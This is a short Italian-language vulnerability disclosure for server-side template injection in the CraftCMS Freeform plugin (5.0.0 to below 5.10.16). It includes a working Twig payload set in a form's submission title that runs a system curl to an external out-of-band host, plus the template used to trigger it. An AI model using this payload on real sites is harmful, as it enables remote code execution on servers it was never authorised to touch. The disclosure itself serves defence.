
Iniezione di codice arbitrario in CraftCMS Freeform 5.0.0 < 5.10.16
CraftCMS Freeform contiene una vulnerabilità SSTI, che comporta l'iniezione di codice arbitrario per tutti gli utenti che hanno accesso alla modifica di un modulo (titolo di invio).
Le versioni vulnerabili sono v5.0.0 < v5.10.16.
Crea un modulo:

Ho creato il modulo "pentest" qui come prova di concetto. Successivamente, nelle impostazioni, imposta il seguente titolo di invio (cambia il nome di dominio con il tuo server):
{{ 'system' | call('curl http://gwgyynafr4feu5xecukf1h2nqew5kw8l.oastify.com/rce') }}

Questo eseguirà una chiamata di sistema arbitraria. In questo caso, eseguo una curl verso un server controllato che mi avviserà in caso di connessioni in entrata. Successivamente, includi questo modulo in un template/pagina e invialo:
<h1>test</h1>
{% set form = freeform.form('pentest') %}
{% if form %}
{{ form.render() }}
{% else %}
<p>Form not found.</p>
{% endif %}
Questo avrà chiamato il comando curl. Possiamo verificarlo osservando la richiesta HTTP in entrata che è stata creata:

La causa principale di questo problema è che Freeform implementa il filtro Twig "call" senza validare l'input dell'utente. Il problema è stato corretto nel seguente commit.